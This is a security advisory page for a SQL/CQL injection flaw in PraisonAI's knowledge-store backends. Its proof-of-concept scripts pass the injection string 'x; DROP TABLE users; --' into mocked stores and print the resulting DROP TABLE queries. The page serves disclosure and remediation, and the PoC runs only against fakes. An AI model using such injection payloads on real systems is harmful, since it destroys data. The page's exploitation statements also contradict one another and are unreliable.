Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-2897
No affected components available
Summary
PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.
Details
This issue affects the public persistence layer exported by persistence/init.py, which exposes KnowledgeStore and create_knowledge_store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):
pgvectorat [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162)cassandraat persistence/factory.pysinglestore_vectorat persistence/factory.py
The common root cause is that the KnowledgeStore interface accepts free-form collection names in create_collection(), delete_collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.
Representative sinks:
SingleStoreVectorKnowledgeStorebuildstable_name = f"{self.table_prefix}{name}"and executes raw DDL in [persistence/knowledge/singlestore_vector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused fordelete_collection,insert,upsert,search,get,delete, andcount.PGVectorKnowledgeStorebuildspublic.praison_vec_{collection}andidx_{name}_embeddingdirectly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).CassandraKnowledgeStoreinterpolatesnameandcollectiondirectly intoCREATE TABLE,DROP TABLE,INSERT,SELECT,DELETE, andCOUNTstatements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).
There is already an internal identifier validator in the conversation persistence layer:
validate_identifier()only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)
That validator is used for SQL identifiers such as table_prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.
Version scope:
pgvector.pyandcassandra.pywere already present byv2.4.1singlestore_vector.pywas present byv2.4.3- the current PyPI release on May 1, 2026 is
4.6.33, and the same interpolation patterns are still present
Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.
PoC
The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.
- Reproduce the
SingleStoreVectorKnowledgeStore.delete_collection()query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = {
"praisonai": types.ModuleType("praisonai"),
"praisonai.persistence": types.ModuleType("praisonai.persistence"),
"praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
v.__path__ = []
sys.modules[k] = v
def load(name, path):
spec = importlib.util.spec_from_file_location(name, path)
mod = importlib.util.module_from_spec(spec)
sys.modules[name] = mod
spec.loader.exec_module(mod)
return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py")
class FakeCursor:
def __init__(self, parent): self.parent = parent
def execute(self, query, params=None): self.parent.calls.append((query, params))
def __enter__(self): return self
def __exit__(self, *args): return False
class FakeConn:
def __init__(self): self.calls = []
def cursor(self): return FakeCursor(self)
store = ss.SingleStoreVectorKnowledgeStore()
store._initialized = True
store._conn = FakeConn()
store.delete_collection("x; DROP TABLE users; --")
print(store._conn.calls[-1][0].strip())
PY
Observed result:
DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --
- Reproduce the
PGVectorKnowledgeStore.create_collection()query construction:
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = {
"praisonai": types.ModuleType("praisonai"),
"praisonai.persistence": types.ModuleType("praisonai.persistence"),
"praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
v.__path__ = []
sys.modules[k] = v
def load(name, path):
spec = importlib.util.spec_from_file_location(name, path)
mod = importlib.util.module_from_spec(spec)
sys.modules[name] = mod
spec.loader.exec_module(mod)
return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
def __init__(self, *a, **k): pass
def getconn(self): return None
def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras
pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")
class FakeCursor:
def __init__(self, parent): self.parent = parent
def execute(self, query, params=None): self.parent.calls.append((query, params))
def __enter__(self): return self
def __exit__(self, *args): return False
class FakeConn:
def __init__(self): self.calls = []
def cursor(self): return FakeCursor(self)
def commit(self): pass
store = pg.PGVectorKnowledgeStore(auto_create_extension=False)
conn = FakeConn()
store._get_conn = lambda: conn
store._put_conn = lambda c: None
store.create_collection("x; DROP TABLE users; --", 3)
for query, _ in conn.calls:
print(query.strip())
PY
Observed result includes:
CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding
The Cassandra backend follows the same pattern in its CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.
Impact
This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.
Potential impact depends on backend and driver behavior, but includes:
- malformed queries and backend errors
- access to unintended tables or indexes
- execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape
I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard